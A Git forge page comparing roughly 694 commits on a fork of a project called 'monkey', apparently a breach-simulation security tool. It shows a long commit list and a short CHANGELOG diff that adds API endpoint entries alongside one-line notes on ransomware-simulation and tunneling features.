forked from p34709852/monkey
Compare commits
694 Commits
2260-fix-m
...
develop
Author | SHA1 | Date |
---|---|---|
p15670423 | f803f88afc | |
p34709852 | 09b3b42dc5 | |
p31829507 | de18b55417 | |
p31829507 | 9071fc90aa | |
wutao | 4505399049 | |
wutao | f5bfdc430c | |
wutao | 0382831701 | |
Mike Salvatore | 04fec93c39 | |
Ilija Lazoroski | 7a664218bd | |
Mike Salvatore | 6d60e33c1e | |
Mike Salvatore | a558948c5d | |
Mike Salvatore | 66f5d7a86a | |
Shreya Malviya | 3b225a9c7d | |
Mike Salvatore | 79e8ce5f79 | |
Mike Salvatore | 0965b97d45 | |
Mike Salvatore | 4c026241ea | |
Ilija Lazoroski | 25073be9f3 | |
Ilija Lazoroski | c02d43556a | |
Ilija Lazoroski | 8bdb30dcfb | |
Ilija Lazoroski | 8f6df12d9c | |
Kekoa Kaaikala | 76a3cb0ba0 | |
Kekoa Kaaikala | de5d365bb0 | |
Kekoa Kaaikala | 3e592cfa69 | |
Kekoa Kaaikala | 4a0a24dde2 | |
Kekoa Kaaikala | 76ae57281d | |
Kekoa Kaaikala | 54b551b728 | |
Kekoa Kaaikala | c31aed94ea | |
Kekoa Kaaikala | bee1047024 | |
Kekoa Kaaikala | 57af640317 | |
Ilija Lazoroski | 9c185a3a78 | |
Ilija Lazoroski | fe864792f3 | |
VakarisZ | 4709ae771b | |
vakarisz | be4ecccdcd | |
Mike Salvatore | 77d37bdb21 | |
Mike Salvatore | 9c2cdf15e2 | |
Mike Salvatore | ead979c6ca | |
Mike Salvatore | 03c6c5ea4b | |
Mike Salvatore | eac3076828 | |
Mike Salvatore | 7bc9993c6f | |
Mike Salvatore | 6bd7042444 | |
Mike Salvatore | d8fca72f28 | |
Mike Salvatore | b2c5b22128 | |
Mike Salvatore | 8e3bf96589 | |
Mike Salvatore | 65dd386603 | |
Mike Salvatore | c4573673ce | |
Ilija Lazoroski | ac11d159fe | |
Mike Salvatore | de9b5601d8 | |
Mike Salvatore | c980bfd915 | |
Mike Salvatore | 52380a2513 | |
Mike Salvatore | 39bada5bb1 | |
Kekoa Kaaikala | 3bca02af59 | |
Kekoa Kaaikala | 7d535c72d9 | |
Kekoa Kaaikala | 3bede2f9d1 | |
Kekoa Kaaikala | bb6716df18 | |
vakarisz | 8503e0f499 | |
Ilija Lazoroski | ec617df06a | |
vakarisz | 0d246a0479 | |
Ilija Lazoroski | 47846628e6 | |
vakarisz | 3bc2e4876f | |
Kekoa Kaaikala | 15974ff21c | |
Kekoa Kaaikala | 66f8471f24 | |
Kekoa Kaaikala | e404416363 | |
Kekoa Kaaikala | 5c6b1e3910 | |
Kekoa Kaaikala | 9269c8579c | |
Kekoa Kaaikala | 8317c03686 | |
Kekoa Kaaikala | aab965bad7 | |
Kekoa Kaaikala | fa8b721abe | |
Kekoa Kaaikala | 183bd1145f | |
Kekoa Kaaikala | 33230e85f7 | |
Kekoa Kaaikala | 2cd9d0086b | |
Kekoa Kaaikala | 8dd196122b | |
vakarisz | b0ec035909 | |
Ilija Lazoroski | 0f3f45e92f | |
Kekoa Kaaikala | 016bf5c795 | |
Kekoa Kaaikala | 48e6e95271 | |
Kekoa Kaaikala | ac69064dec | |
Kekoa Kaaikala | 0c4b90beb5 | |
Ilija Lazoroski | c5d5418af4 | |
Ilija Lazoroski | ef4a465515 | |
Ilija Lazoroski | c5506f98e8 | |
vakarisz | c90044074d | |
Ilija Lazoroski | 95f1e3cb7b | |
Ilija Lazoroski | dcb08b2881 | |
Ilija Lazoroski | f0112410c9 | |
Kekoa Kaaikala | e11bd2c7f2 | |
Kekoa Kaaikala | aba886624e | |
Kekoa Kaaikala | e8f48085a4 | |
Kekoa Kaaikala | 79f72dda55 | |
Kekoa Kaaikala | 72378f4e53 | |
Kekoa Kaaikala | 431d6ae775 | |
Kekoa Kaaikala | 0a1901b9a1 | |
Kekoa Kaaikala | a2534391a6 | |
Kekoa Kaaikala | 1cb88e029a | |
Kekoa Kaaikala | b31eb885f0 | |
Kekoa Kaaikala | dc8a0ac2ad | |
Kekoa Kaaikala | 9dac64b60e | |
Ilija Lazoroski | 5d9416c385 | |
Ilija Lazoroski | 5948537d4a | |
Ilija Lazoroski | ddaada1f09 | |
vakarisz | 2248bdcd67 | |
Shreya Malviya | e2453e481c | |
Kekoa Kaaikala | 254b4e1c6c | |
Kekoa Kaaikala | 12e9aaf42e | |
Kekoa Kaaikala | 95b1d9c62d | |
vakarisz | 249950d602 | |
vakarisz | 6c913895c5 | |
vakarisz | bbcdc1bef4 | |
Mike Salvatore | 73a8c14397 | |
Ilija Lazoroski | 63f869d296 | |
Mike Salvatore | 82217b4094 | |
Mike Salvatore | 10e3c97489 | |
Mike Salvatore | 8799a60f47 | |
Mike Salvatore | d8cf5d33dd | |
Mike Salvatore | eb3daf84f1 | |
Mike Salvatore | f6ed8a997c | |
vakarisz | 8bf1d1f46f | |
vakarisz | a390c97b70 | |
vakarisz | 80a095b657 | |
Ilija Lazoroski | 2ece91b9df | |
Ilija Lazoroski | c7e2b91735 | |
Ilija Lazoroski | 19fcf8d053 | |
Ilija Lazoroski | c8aee645fa | |
Ilija Lazoroski | 491612f9e8 | |
Ilija Lazoroski | 0ed167fb48 | |
Ilija Lazoroski | e46bb8964d | |
Mike Salvatore | fd8ea53e8b | |
Mike Salvatore | bbbb1ac773 | |
Mike Salvatore | 6ae7676322 | |
Mike Salvatore | b713cce893 | |
Kekoa Kaaikala | 2bea619786 | |
Kekoa Kaaikala | e0c9717da9 | |
Kekoa Kaaikala | 73fbc22e3d | |
Mike Salvatore | a691a16625 | |
Mike Salvatore | 3172433410 | |
Mike Salvatore | 8e6a098a2e | |
Kekoa Kaaikala | a07eadce60 | |
Kekoa Kaaikala | d1a8ce2082 | |
Kekoa Kaaikala | 6a100105be | |
Ilija Lazoroski | 8b4af5c349 | |
Ilija Lazoroski | dd35bebb3e | |
Ilija Lazoroski | bb11ea7857 | |
Kekoa Kaaikala | ee77eddaab | |
Kekoa Kaaikala | 116ae90f3d | |
Kekoa Kaaikala | b94002a984 | |
Ilija Lazoroski | 8e161f0fd9 | |
Ilija Lazoroski | 95b3556cd0 | |
Kekoa Kaaikala | a79d40b42e | |
Kekoa Kaaikala | 3e86766aaf | |
Ilija Lazoroski | 0b72e4ef9a | |
Ilija Lazoroski | bf4fecf464 | |
Mike Salvatore | 4ace93e417 | |
Mike Salvatore | adee0b4063 | |
Mike Salvatore | 37b884a5b8 | |
Mike Salvatore | a3ce870b64 | |
Mike Salvatore | 399fedfba5 | |
Kekoa Kaaikala | 57b4ec4117 | |
Mike Salvatore | a8383f4a79 | |
Mike Salvatore | d3ff56138f | |
Mike Salvatore | 2ad972548b | |
Mike Salvatore | fb7d62e318 | |
Mike Salvatore | 0466eb7239 | |
Mike Salvatore | 368ddde20f | |
Mike Salvatore | eb16969a56 | |
Mike Salvatore | a8627aed48 | |
Mike Salvatore | 07839a46ae | |
Ilija Lazoroski | 779fc63edc | |
Ilija Lazoroski | d1af356e19 | |
Ilija Lazoroski | 3389915399 | |
Ilija Lazoroski | fa2ac64b16 | |
Ilija Lazoroski | a7872d69cf | |
Mike Salvatore | 82c81c2a4b | |
Mike Salvatore | cfd49db8d2 | |
Mike Salvatore | d922d71081 | |
Ilija Lazoroski | 5b9811f089 | |
Ilija Lazoroski | 3d22e49ccc | |
Mike Salvatore | 378e8d55ff | |
Mike Salvatore | 477e80bfba | |
Mike Salvatore | fc24d80410 | |
Mike Salvatore | e369ef2933 | |
Mike Salvatore | 6a783d9c3e | |
Mike Salvatore | e4155648c1 | |
Mike Salvatore | 07a6f49e8b | |
Mike Salvatore | c706466cdd | |
Mike Salvatore | 99c2c5c6ef | |
Mike Salvatore | b335601a05 | |
Mike Salvatore | 3db3df8bae | |
Mike Salvatore | 25f12305f5 | |
Kekoa Kaaikala | 3b6a0cd6af | |
Kekoa Kaaikala | 28560bd65d | |
Kekoa Kaaikala | 24684bf904 | |
Kekoa Kaaikala | 978a2a57a9 | |
Kekoa Kaaikala | da5d7b7357 | |
Kekoa Kaaikala | cf13481865 | |
Kekoa Kaaikala | 1dbfca567a | |
Mike Salvatore | de435e27ad | |
Mike Salvatore | cefc90034f | |
Mike Salvatore | 3cde0919e7 | |
Mike Salvatore | c29d90aa5f | |
Mike Salvatore | 807193ece5 | |
Kekoa Kaaikala | 519f48b6d8 | |
Mike Salvatore | f9e74d4f03 | |
Mike Salvatore | df1baeebe0 | |
Mike Salvatore | b7566a805b | |
Kekoa Kaaikala | a2a6934a49 | |
Kekoa Kaaikala | 3409234a4d | |
Kekoa Kaaikala | a3d2d7f6a1 | |
Kekoa Kaaikala | f05f247417 | |
Kekoa Kaaikala | eeca5fbea2 | |
Kekoa Kaaikala | 0516e1e015 | |
vakarisz | 1bf4407b20 | |
vakarisz | e8ed30660e | |
vakaris_zilius | d0d08f7649 | |
vakaris_zilius | 9048f72030 | |
vakaris_zilius | d974b03ab0 | |
vakaris_zilius | 550c375abc | |
vakarisz | 3d27e42ff3 | |
vakarisz | 9a82e46799 | |
Kekoa Kaaikala | f0f858eba5 | |
Kekoa Kaaikala | f7a30e4608 | |
vakarisz | dd0c504743 | |
Kekoa Kaaikala | bbd606501e | |
Kekoa Kaaikala | 2740100621 | |
Kekoa Kaaikala | 520b212c69 | |
Kekoa Kaaikala | 8acf2d9e91 | |
Kekoa Kaaikala | 49c6839c10 | |
Kekoa Kaaikala | 85a5cb3209 | |
Kekoa Kaaikala | 8537f1fcb7 | |
Mike Salvatore | 63447b759a | |
Mike Salvatore | 067a143f2c | |
Mike Salvatore | 2811009019 | |
Mike Salvatore | 97061ea61c | |
Mike Salvatore | 029c101643 | |
Mike Salvatore | 79f56e0789 | |
Mike Salvatore | 20b84aa1a4 | |
Mike Salvatore | a6d2f45cbb | |
Mike Salvatore | f89068ae00 | |
Mike Salvatore | 521411c7fc | |
vakaris_zilius | c16c093083 | |
vakaris_zilius | e2c86d3d7a | |
Mike Salvatore | 07fa283ce1 | |
Mike Salvatore | 0c786dfd94 | |
Mike Salvatore | f6e5462ad3 | |
Mike Salvatore | 9a6300481c | |
Mike Salvatore | 4987dddc0c | |
Mike Salvatore | 68b288e5b3 | |
Ilija Lazoroski | 3f89e50930 | |
Ilija Lazoroski | 9154f6f9dc | |
Shreya Malviya | 96af86f766 | |
Shreya Malviya | 9754b4731c | |
Ilija Lazoroski | 326b07e5c1 | |
Ilija Lazoroski | d42a353aaa | |
Ilija Lazoroski | f23093dc78 | |
Ilija Lazoroski | 8002080c8b | |
Ilija Lazoroski | 2686a7a4ee | |
Ilija Lazoroski | e4aec8b9a3 | |
Mike Salvatore | 3b6e4f5313 | |
Mike Salvatore | 411b027e92 | |
Mike Salvatore | 84f21b0c1d | |
Mike Salvatore | 61bda27d7f | |
Mike Salvatore | 2142dce97e | |
Shreya Malviya | 0a11d34fb7 | |
Shreya Malviya | 0bf9309e07 | |
Shreya Malviya | bab4ebc2bc | |
Shreya Malviya | 35d3038bc8 | |
Shreya Malviya | 58ddd6e47d | |
Shreya Malviya | a3ca21481e | |
Mike Salvatore | fa18cb72da | |
Mike Salvatore | 1a01b7c5dc | |
Mike Salvatore | 5fc4d52d9f | |
Mike Salvatore | 9f3aaf970f | |
VakarisZ | 61d7050594 | |
vakarisz | 7ed071b565 | |
dependabot[bot] | 21656dabb4 | |
Mike Salvatore | 5ab47fbdd3 | |
Kekoa Kaaikala | a267f02ca9 | |
Kekoa Kaaikala | c1dcb285ae | |
Mike Salvatore | f94ef035d6 | |
Mike Salvatore | 31c97faf98 | |
Mike Salvatore | c632b9b77b | |
Mike Salvatore | 2aa79331e3 | |
Mike Salvatore | 052c31e8ff | |
Kekoa Kaaikala | c06d06edc4 | |
Kekoa Kaaikala | 783cc06c0d | |
Kekoa Kaaikala | 9a880123da | |
Kekoa Kaaikala | d811c6548c | |
vakarisz | 9b30770777 | |
vakarisz | ff2b04c703 | |
vakarisz | 4d2a6083a1 | |
vakarisz | 3d80adbcd5 | |
vakarisz | 6aa69a10b6 | |
Kekoa Kaaikala | 65d43575d1 | |
vakarisz | 168a5845fd | |
vakarisz | b6d9f88dee | |
vakarisz | c807f97d18 | |
vakarisz | ecb7ca0d8d | |
Kekoa Kaaikala | 799f08e383 | |
Kekoa Kaaikala | 29355e9d14 | |
Kekoa Kaaikala | 18ca84a247 | |
Kekoa Kaaikala | ce8219aa6d | |
Kekoa Kaaikala | ab32daa0e0 | |
Kekoa Kaaikala | 1c127781ca | |
Kekoa Kaaikala | a0d6565c4a | |
Kekoa Kaaikala | 371ca12dfb | |
Kekoa Kaaikala | 89c6e2b7bc | |
Kekoa Kaaikala | eacd426969 | |
Kekoa Kaaikala | 304dfbd21f | |
Mike Salvatore | 4b3402f7a8 | |
Mike Salvatore | b95baaba87 | |
Mike Salvatore | 208ba1c2ab | |
Mike Salvatore | 28026716db | |
Mike Salvatore | 349b183e5d | |
Mike Salvatore | ccaf0b63c6 | |
Mike Salvatore | 34ca127c6c | |
Mike Salvatore | ba7e44038c | |
Mike Salvatore | edaa7ec34d | |
Mike Salvatore | 3dc6eba2da | |
Ilija Lazoroski | 28ca462ce5 | |
Ilija Lazoroski | f62ab10d1c | |
Mike Salvatore | 0207519343 | |
Mike Salvatore | 8ae11e9faa | |
Ilija Lazoroski | 18f8594deb | |
Ilija Lazoroski | c32013bf87 | |
Ilija Lazoroski | 725c6d9419 | |
Mike Salvatore | 1b7c3be65b | |
Mike Salvatore | 82e08ba157 | |
Mike Salvatore | 00d72390ff | |
Mike Salvatore | 3344300f84 | |
Mike Salvatore | 91375cdff2 | |
Mike Salvatore | 5d893d64cd | |
Mike Salvatore | cb7add7e59 | |
Mike Salvatore | 8ee14c4564 | |
Mike Salvatore | 67c78abee1 | |
Mike Salvatore | 17017d6962 | |
Mike Salvatore | 64b9432bb9 | |
Mike Salvatore | 5a0251c442 | |
Ilija Lazoroski | 66e8032ef3 | |
Mike Salvatore | 2ab86fa428 | |
Shreya Malviya | 03ebdd461f | |
Shreya Malviya | d78615fa92 | |
Shreya Malviya | 9f15bea5bd | |
Shreya Malviya | a65bbc592d | |
Mike Salvatore | 2eee427901 | |
Mike Salvatore | 0cd8cd577d | |
Mike Salvatore | 6390993875 | |
Mike Salvatore | d3c9691dfe | |
Ilija Lazoroski | 14f8014709 | |
Ilija Lazoroski | d235e7a19e | |
Ilija Lazoroski | 478ea05fa9 | |
Ilija Lazoroski | aa2b49bc66 | |
Ilija Lazoroski | 3202bfa2c1 | |
Ilija Lazoroski | 228ce9bae1 | |
Ilija Lazoroski | 0357d43d33 | |
Ilija Lazoroski | ec56b15219 | |
Mike Salvatore | ba0ffeacce | |
Mike Salvatore | 082bb3bb6f | |
Mike Salvatore | 5e129fd137 | |
Ilija Lazoroski | acf877f3d8 | |
Ilija Lazoroski | a44f763fab | |
Ilija Lazoroski | 9ada95c126 | |
Ilija Lazoroski | 799aae4498 | |
Ilija Lazoroski | b1b9eb394e | |
Ilija Lazoroski | 89397d8cbd | |
Mike Salvatore | 56ead43c11 | |
Mike Salvatore | 83f0ebfda4 | |
Mike Salvatore | e8449817ad | |
Mike Salvatore | 1b4f72e5e3 | |
Mike Salvatore | ff8c8bd0a0 | |
Kekoa Kaaikala | ab919f6d57 | |
Mike Salvatore | 87d25d2ac8 | |
Mike Salvatore | fab67d893f | |
Mike Salvatore | a1516535f9 | |
Shreya Malviya | 21f01292f7 | |
Shreya Malviya | 8dc8a516d5 | |
Shreya Malviya | 29c08ff40c | |
Shreya Malviya | 8e3918cebe | |
Shreya Malviya | 539f4e1c82 | |
Shreya Malviya | 74e30a2f88 | |
Shreya Malviya | a9e1b99f2f | |
Mike Salvatore | 4f3fd6987e | |
Kekoa Kaaikala | 2f7f4fef9c | |
Mike Salvatore | 05b8f2bb4b | |
Mike Salvatore | f7f4440b61 | |
Mike Salvatore | 078574998a | |
Mike Salvatore | 93b0fe0f6e | |
Kekoa Kaaikala | 09cf2762f9 | |
Mike Salvatore | 3202404e46 | |
Mike Salvatore | c69a414a4d | |
Mike Salvatore | 2e8afe218e | |
Kekoa Kaaikala | 4038622e83 | |
Kekoa Kaaikala | 05e9c2af62 | |
Mike Salvatore | 412a58f1f2 | |
Mike Salvatore | bddee026fe | |
Mike Salvatore | 20d5fb3748 | |
Mike Salvatore | 0e2d82a7ad | |
Mike Salvatore | 35d0cbc3b0 | |
Mike Salvatore | d49d16bc37 | |
Mike Salvatore | 3c2ee32bdf | |
Ilija Lazoroski | 10954e0a6e | |
Ilija Lazoroski | 1a8306af1b | |
Ilija Lazoroski | d0293b4edc | |
Ilija Lazoroski | e4d45b25cb | |
Ilija Lazoroski | 96662f3f66 | |
Ilija Lazoroski | b705e33af3 | |
Shreya Malviya | e374341ce1 | |
Shreya Malviya | 8f46b3b9fd | |
Shreya Malviya | 64990eea0e | |
Shreya Malviya | 7823759cf8 | |
Shreya Malviya | 2707605622 | |
Shreya Malviya | 1c486c6571 | |
Mike Salvatore | fa13ca8df8 | |
Shreya Malviya | c5d26749b7 | |
Shreya Malviya | 30d3124cb4 | |
Ilija Lazoroski | 08bc43e0c4 | |
Ilija Lazoroski | 546c44f501 | |
Ilija Lazoroski | 89ae9824d0 | |
Ilija Lazoroski | 543c063f7b | |
Shreya Malviya | f61e734d29 | |
Shreya Malviya | cadf0d61d0 | |
Shreya Malviya | 5f11008b40 | |
Shreya Malviya | d5b62651a0 | |
Shreya Malviya | 885a907287 | |
Shreya Malviya | 6aae63f9fc | |
Shreya Malviya | c1a4641ffe | |
Shreya Malviya | e1d139fde4 | |
Shreya Malviya | 01d8875f22 | |
Shreya Malviya | 1c6cfa1ce6 | |
Shreya Malviya | ce0affb1ed | |
Shreya Malviya | d9b55a5c21 | |
Shreya Malviya | 8a96598d10 | |
Shreya Malviya | 98d01b5324 | |
Shreya Malviya | 793a401a33 | |
Shreya Malviya | e32d5555fb | |
Mike Salvatore | 699f2210f4 | |
Ilija Lazoroski | d7be8e2bc0 | |
Kekoa Kaaikala | bf7544c47a | |
Kekoa Kaaikala | ea94da9725 | |
Kekoa Kaaikala | e63409d1ad | |
vakarisz | 26a5b4cf4d | |
vakarisz | 164c0d6127 | |
vakarisz | 85c101aff9 | |
vakarisz | 031a0ab426 | |
Kekoa Kaaikala | 036a382e95 | |
VakarisZ | 9823301c3b | |
Shreya Malviya | 085883d3a6 | |
Kekoa Kaaikala | 21cbf8d38b | |
Shreya Malviya | 4f3a8a5b2f | |
Shreya Malviya | 3accaccceb | |
Kekoa Kaaikala | c33189725d | |
Kekoa Kaaikala | 19dbf81fa3 | |
Shreya Malviya | 688a41a11e | |
Shreya Malviya | 80328159f0 | |
Shreya Malviya | 01f1d62272 | |
Shreya Malviya | 6d63f3c378 | |
Kekoa Kaaikala | aeef2cdcbe | |
Kekoa Kaaikala | af8d3937be | |
Kekoa Kaaikala | 110542eeb8 | |
Kekoa Kaaikala | c4804f06a9 | |
ilija-lazoroski | 90890106f7 | |
vakarisz | e2f0a2dfc0 | |
Ilija Lazoroski | c119406b2d | |
vakarisz | b9cf200832 | |
Ilija Lazoroski | 7bb7ef7dce | |
vakarisz | 182a566087 | |
Shreya Malviya | 14999fba4e | |
Shreya Malviya | 9b4de6bab8 | |
Shreya Malviya | d1199fdab2 | |
Shreya Malviya | 441c14f15d | |
Shreya Malviya | 1f80eac4b6 | |
Shreya Malviya | 8b0ebfc3a7 | |
Shreya Malviya | 3b192a869e | |
Shreya Malviya | 0ae653fb72 | |
Shreya Malviya | 8a609e0871 | |
Shreya Malviya | 6a29702846 | |
Shreya Malviya | 284ec3d119 | |
Shreya Malviya | ac633a6e75 | |
Shreya Malviya | 6df2c29e30 | |
Kekoa Kaaikala | 311c294033 | |
Kekoa Kaaikala | 1bf610a4a8 | |
Kekoa Kaaikala | 87ca11962e | |
Kekoa Kaaikala | d87cf5a9f5 | |
Kekoa Kaaikala | aeb6630ebc | |
Kekoa Kaaikala | dd5b796bfe | |
Kekoa Kaaikala | ef053ea017 | |
Kekoa Kaaikala | 6f095eb0c1 | |
vakarisz | 9728d22250 | |
Kekoa Kaaikala | 8b8ef79e0a | |
Shreya Malviya | aec9cbb4b1 | |
Shreya Malviya | 3de18d5f1c | |
Shreya Malviya | a093a3e527 | |
Shreya Malviya | 4c76543a28 | |
Shreya Malviya | 105a2b39cf | |
Shreya Malviya | 0db0347008 | |
Shreya Malviya | 426647c5b9 | |
Kekoa Kaaikala | 53a9c62245 | |
Kekoa Kaaikala | 4982999b99 | |
Mike Salvatore | dbaa56c39d | |
Mike Salvatore | 73841fb04e | |
Mike Salvatore | 6c63d4edbd | |
Mike Salvatore | 3fbbc01861 | |
vakarisz | b11cd9c5f1 | |
Mike Salvatore | a49ddf7a4a | |
Mike Salvatore | feb8288c98 | |
Mike Salvatore | f7198ea98a | |
ilija-lazoroski | 5ec0f2dbd2 | |
Mike Salvatore | a5f1117ce3 | |
Ilija Lazoroski | a314efb8d9 | |
Ilija Lazoroski | e5c5cce94e | |
Ilija Lazoroski | d1fc4fa7f4 | |
Ilija Lazoroski | 6299529f4a | |
Ilija Lazoroski | edf0593d4a | |
Ilija Lazoroski | a2be330d16 | |
Ilija Lazoroski | 67956358bd | |
Ilija Lazoroski | 7a9ac1a6ba | |
Ilija Lazoroski | 3da90223fc | |
Ilija Lazoroski | ffa5f90cbd | |
Ilija Lazoroski | 88c011e883 | |
Ilija Lazoroski | 296f4e55df | |
Ilija Lazoroski | a3d94d7a49 | |
Mike Salvatore | 6ae0e6f715 | |
ilija-lazoroski | dd88745536 | |
Shreya Malviya | dee2884144 | |
Mike Salvatore | a04a6a3cea | |
Ilija Lazoroski | f9306cf8f1 | |
Shreya Malviya | 1dc72e45e7 | |
Mike Salvatore | 8e45a71a15 | |
Kekoa Kaaikala | 275efb2ab1 | |
Shreya Malviya | c4642141f0 | |
Mike Salvatore | f7997a6a50 | |
Ilija Lazoroski | 9d3be7e1d3 | |
Shreya Malviya | 6174e8dfcb | |
Mike Salvatore | 92dd564299 | |
Ilija Lazoroski | 5eeee2a60d | |
Shreya Malviya | 850857c8a1 | |
Mike Salvatore | 60198ec879 | |
Ilija Lazoroski | c25e245a8e | |
Ilija Lazoroski | f12e839878 | |
Shreya Malviya | b666078e7d | |
Ilija Lazoroski | d10c148533 | |
Shreya Malviya | 066f106882 | |
Shreya Malviya | 645e03e46f | |
Shreya Malviya | 105cc60f4b | |
Shreya Malviya | c586623b8b | |
Shreya Malviya | 7527eca861 | |
Shreya Malviya | 2864286a29 | |
Shreya Malviya | 28c3cf581f | |
Shreya Malviya | 24210d4f6f | |
Shreya Malviya | 1632d8b3e9 | |
Shreya Malviya | 11f443e641 | |
Shreya Malviya | 489ead31d2 | |
Shreya Malviya | fbfebc6167 | |
Shreya Malviya | 14c615e238 | |
Ilija Lazoroski | 2d42355e2c | |
Ilija Lazoroski | 41951511d0 | |
Shreya Malviya | ef273bc1cf | |
Shreya Malviya | 637978648a | |
Shreya Malviya | 263fff28f3 | |
Shreya Malviya | bc43f81a11 | |
Shreya Malviya | 5bf63c1221 | |
Shreya Malviya | 1afe625395 | |
Shreya Malviya | cca4cf9df2 | |
Shreya Malviya | cfe31f8dee | |
Shreya Malviya | f23a6c8fa4 | |
Shreya Malviya | 58ad44366a | |
Shreya Malviya | dccef0efa5 | |
Kekoa Kaaikala | 0775449fa9 | |
Ilija Lazoroski | c0afae6dfa | |
Ilija Lazoroski | 721cc29559 | |
Ilija Lazoroski | 560d941885 | |
Ilija Lazoroski | be30db885b | |
Kekoa Kaaikala | 8ff817eed2 | |
Kekoa Kaaikala | 4f4eea3d66 | |
Ilija Lazoroski | 49e434d754 | |
Mike Salvatore | 1716a2dddd | |
Mike Salvatore | 0ca004795a | |
Mike Salvatore | 0592e0a790 | |
Mike Salvatore | c2f3def33b | |
Mike Salvatore | 526fd6f941 | |
Mike Salvatore | fc4c05405b | |
Mike Salvatore | a89d76a4c5 | |
vakarisz | 52d0e6f655 | |
vakarisz | 6ced730b53 | |
vakarisz | d48e8b3f3e | |
vakarisz | 39191d3344 | |
vakarisz | 978daf973b | |
vakarisz | 0d08ce467e | |
vakarisz | 3d7e9be150 | |
vakarisz | 9749984640 | |
Mike Salvatore | 2c4625eb1c | |
Kekoa Kaaikala | 9c0ea39b6d | |
Kekoa Kaaikala | 4226d9029f | |
Kekoa Kaaikala | 38d9ccc9f0 | |
Shreya Malviya | 7d996c100e | |
Mike Salvatore | 444bf99e41 | |
Mike Salvatore | fe2c1f29fa | |
Mike Salvatore | 823829c001 | |
vakarisz | 56af6fd2c4 | |
Mike Salvatore | 13f7301db9 | |
Mike Salvatore | f591f150fc | |
Mike Salvatore | 284f58afaf | |
Mike Salvatore | 5b61767575 | |
Kekoa Kaaikala | 5e7689345f | |
Kekoa Kaaikala | 06965abe5d | |
Kekoa Kaaikala | bba6386efa | |
Kekoa Kaaikala | 1defad72fd | |
Kekoa Kaaikala | e478ba80e0 | |
Kekoa Kaaikala | c0e98bc0d1 | |
Kekoa Kaaikala | 5f3d757965 | |
Kekoa Kaaikala | 0578219549 | |
Kekoa Kaaikala | 85dbda8ba9 | |
Kekoa Kaaikala | 22b12080b6 | |
Kekoa Kaaikala | 9c49cdafa3 | |
Kekoa Kaaikala | b8230ffb73 | |
Kekoa Kaaikala | 421ed942fe | |
Kekoa Kaaikala | ecd2cbbe6e | |
Kekoa Kaaikala | 3e95ec6ee4 | |
Kekoa Kaaikala | 95839caf9c | |
Kekoa Kaaikala | 97d53dba3c | |
Kekoa Kaaikala | c78e6333f8 | |
Kekoa Kaaikala | 1621b494f4 | |
Mike Salvatore | bed684d7d0 | |
Mike Salvatore | 371e495f17 | |
Mike Salvatore | 71da0a559a | |
Mike Salvatore | 271475570d | |
Mike Salvatore | 4101f7509a | |
Mike Salvatore | c0870e6696 | |
Mike Salvatore | 1e8a60c890 | |
Mike Salvatore | c95c2ffdf9 | |
Mike Salvatore | 41dbb92eef | |
Mike Salvatore | d514ac283c | |
Mike Salvatore | f811f91d73 | |
Mike Salvatore | 388b9fe4ed | |
Mike Salvatore | 69c8d3a667 | |
Mike Salvatore | fbb8e85b46 | |
Mike Salvatore | b4c8ac7242 | |
Ilija Lazoroski | 320364a7a2 | |
Mike Salvatore | a76273fa0d | |
Shreya Malviya | a8fb05f2b8 | |
Shreya Malviya | 60db495cee | |
Shreya Malviya | 1afafd20dd | |
Shreya Malviya | 10e1177ef6 | |
Shreya Malviya | 547637d151 | |
Shreya Malviya | add31fe397 | |
Shreya Malviya | c1e15f8be5 | |
ilija-lazoroski | 18ceb6c279 | |
Shreya Malviya | fb2165b2e8 | |
Shreya Malviya | 4e0f2c89ec | |
Shreya Malviya | 6933d25768 | |
Shreya Malviya | bc630e86e9 | |
Shreya Malviya | d9d388d41c | |
Shreya Malviya | 1f96ab5ea9 | |
Shreya Malviya | 5a96d5b570 | |
Shreya Malviya | b4c1879bf9 | |
Shreya Malviya | 9ce652f1a5 | |
Shreya Malviya | 822d9d6eec | |
Shreya Malviya | 8b87783998 | |
Shreya Malviya | f20f11265b | |
Shreya Malviya | 67e280fd7a | |
Shreya Malviya | 5675724843 | |
Mike Salvatore | f8777cd37d | |
Mike Salvatore | 183b065ae6 | |
Mike Salvatore | a323441ffe | |
Mike Salvatore | f472963b78 | |
Mike Salvatore | 897d1e39ac | |
Mike Salvatore | aed9022a7a | |
Kekoa Kaaikala | 53dc34f895 | |
Mike Salvatore | 35025ead18 | |
Kekoa Kaaikala | 2a1396c82d | |
Kekoa Kaaikala | 022630ddc1 | |
Mike Salvatore | 36142774dd | |
Mike Salvatore | ff0a57aa93 | |
Kekoa Kaaikala | 417d167026 | |
Kekoa Kaaikala | 1c6ca24a47 | |
Kekoa Kaaikala | 2f5bcff631 | |
Mike Salvatore | fca3a1357e | |
Kekoa Kaaikala | 605e6ae496 | |
Kekoa Kaaikala | 4c3a1ba89a | |
Kekoa Kaaikala | fd08212763 | |
Kekoa Kaaikala | 44d8dbeb5c | |
Kekoa Kaaikala | 8ebcd2ea33 | |
Kekoa Kaaikala | 2dc4871a7d | |
Kekoa Kaaikala | 3e96a30a09 | |
Kekoa Kaaikala | 51ce974c43 | |
Kekoa Kaaikala | 42633c066f | |
Kekoa Kaaikala | b260dcc5cb | |
Kekoa Kaaikala | d6795492a4 | |
Kekoa Kaaikala | 92e793c2cd | |
Kekoa Kaaikala | 54ef77698c | |
Ilija Lazoroski | 3af38d7841 | |
Ilija Lazoroski | a2b8fceb28 | |
Ilija Lazoroski | 246c78e8c1 | |
Ilija Lazoroski | 07d1062b80 | |
Ilija Lazoroski | 6c11eb2a6b | |
Ilija Lazoroski | c13dcf464c | |
Ilija Lazoroski | a9bec168b1 |
10
CHANGELOG.md
10
CHANGELOG.md
|
@ -23,7 +23,10 @@ Changelog](https://keepachangelog.com/en/1.0.0/).
|
||||||
- `/api/agent-events` endpoint. #2155, #2300
|
- `/api/agent-events` endpoint. #2155, #2300
|
||||||
- The ability to customize the file extension used by ransomware when
|
- The ability to customize the file extension used by ransomware when
|
||||||
encrypting files. #1242
|
encrypting files. #1242
|
||||||
- `/api/agents` endpoint.
|
- `/api/agents` endpoint. #2362
|
||||||
|
- `/api/agent-signals` endpoint. #2261
|
||||||
|
- `/api/agent-logs/<uuid:agent_id>` endpoint. #2274
|
||||||
|
- `/api/machines` endpoint. #2362
|
||||||
|
|
||||||
### Changed
|
### Changed
|
||||||
- Reset workflow. Now it's possible to delete data gathered by agents without
|
- Reset workflow. Now it's possible to delete data gathered by agents without
|
||||||
|
@ -64,6 +67,8 @@ Changelog](https://keepachangelog.com/en/1.0.0/).
|
||||||
- Tunneling to relays to provide better firewall evasion, faster Island
|
